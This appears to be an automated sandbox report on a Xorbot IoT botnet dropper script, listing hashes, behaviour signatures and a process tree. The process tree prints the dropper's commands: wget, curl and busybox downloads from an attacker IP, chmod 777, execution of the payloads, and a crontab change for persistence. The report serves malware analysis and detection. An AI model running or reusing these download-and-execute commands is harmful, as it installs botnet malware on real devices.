Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03/12/2024, 06:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7e4709c72b7042c5a051d82d8765d229

  • SHA1

    a0d5c07a09e781a20f3443dedae239ed96ba33c1

  • SHA256

    3ebb1d478cfff5b5e325d281957e1364851ce10d174cd95e76c37e74b028f789

  • SHA512

    736c107818007aed1eb7bcdb1674fa723eef0d6b54a53a8e7cc1a13df7d2e64a77721604c70dec862125da1b413400ff0d05f8c0446da76b80307a7900566cb6

  • SSDEEP

    192:Hr88u6+p1FJ7fnAgNXBLwzxRbDbEsu6+p1F/7fnAgd0xRFt:L8p9XBLwzxRbDgZX0xRFt

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1175) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:699
        • /usr/bin/wget
          wget http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          2⤵
          • Writes file to tmp directory
          PID:718
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/chmod
          chmod 777 59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          ./59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          2⤵
          • Executes dropped EXE
          PID:728
        • /bin/rm
          rm 59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
          2⤵
            PID:730
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            2⤵
            • Writes file to tmp directory
            PID:731
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:732
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            ./BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            2⤵
            • Executes dropped EXE
            PID:735
          • /bin/rm
            rm BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://216.126.231.240/bins/H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              2⤵
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              ./H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              2⤵
              • Executes dropped EXE
              PID:762
            • /bin/rm
              rm H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://216.126.231.240/bins/iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                2⤵
                • Writes file to tmp directory
                PID:778
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/chmod
                chmod 777 iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                ./iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:801
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /bin/chmod
                  chmod 777 zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  2⤵
                  • File and Directory Permissions Modification
                  PID:803
                • /tmp/zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  ./zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  2⤵
                  • Executes dropped EXE
                  PID:804
                • /bin/rm
                  rm zzMEc6x6edfyo045wa3iZkWn263iyAYZMw
                  2⤵
                    PID:806
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:807
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:808
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:819
                  • /bin/chmod
                    chmod 777 NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    2⤵
                    • File and Directory Permissions Modification
                    PID:823
                  • /tmp/NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    ./NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    2⤵
                    • Executes dropped EXE
                    • System Network Configuration Discovery
                    PID:825
                  • /bin/rm
                    rm NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT
                    2⤵
                    • System Network Configuration Discovery
                    PID:828
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    2⤵
                    • Writes file to tmp directory
                    PID:829
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    2⤵
                    • Writes file to tmp directory
                    PID:839
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /bin/chmod
                    chmod 777 QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    2⤵
                    • File and Directory Permissions Modification
                    PID:847
                  • /tmp/QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    ./QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    2⤵
                    • Executes dropped EXE
                    PID:848
                  • /bin/rm
                    rm QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8
                    2⤵
                      PID:850
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      2⤵
                      • Writes file to tmp directory
                      PID:851
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      2⤵
                      • Writes file to tmp directory
                      PID:853
                    • /bin/chmod
                      chmod 777 DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      2⤵
                      • File and Directory Permissions Modification
                      PID:854
                    • /tmp/DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      ./DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      2⤵
                      • Executes dropped EXE
                      PID:855
                    • /bin/rm
                      rm DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc
                      2⤵
                        PID:857
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                        2⤵
                        • Writes file to tmp directory
                        PID:859
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                        2⤵
                        • Writes file to tmp directory
                        PID:860
                      • /bin/chmod
                        chmod 777 kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                        2⤵
                        • File and Directory Permissions Modification
                        PID:861
                      • /tmp/kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                        ./kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:862
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:864
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:865
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:866
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:867
                          • /bin/rm
                            rm kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8
                            2⤵
                              PID:869
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                              2⤵
                                PID:872
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                                2⤵
                                  PID:873
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:954
                                • /bin/chmod
                                  chmod 777 cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:967
                                • /tmp/cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                                  ./cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                                  2⤵
                                  • Executes dropped EXE
                                  PID:968
                                • /bin/rm
                                  rm cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH
                                  2⤵
                                    PID:970
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/ZSLd9yaavfcb1vvjngEQJWGfsO8dDT44T3
                                    2⤵
                                      PID:971

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/DNrs93n0vGBPd5WKNqY1VWhqV5sw4ndpqc

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/NIipiC5JKvL1brno5iF3Oe82LWSMQeOJUT

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/QSZETg3ViyKiuutu6kV1XC24Tw4JKZv6h8

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/cGJeYVisOiXUKebhtSfOE1tFuNba8U5KRH

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/iRQBn7OXXPuKlsEvikM51RP4nztFY0QGWb

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/kxYGjhJOaqho3dZZOj7tQC5AGDFV5TUqa8

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/zzMEc6x6edfyo045wa3iZkWn263iyAYZMw

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /var/spool/cron/crontabs/tmp.jFNoSj

                                    Filesize

                                    210B

                                    MD5

                                    fd7cad84defca0b56729c49a8434077d

                                    SHA1

                                    75bbfc55fa047ece5c1c964f8a8348059bb825b9

                                    SHA256

                                    5ea365b3aac532e74e90fc3d123b05a799a9b00fa634b9033412fc52c8a8b8c1

                                    SHA512

                                    17f743e3e9cb74cdf40712b1b1150e3237f8c0d894fbeba9f2e385cdbcef712a5f47dba738460fbb38ebc194cbdcb3cae97759914a0aaaf4d6ac461e14a700ea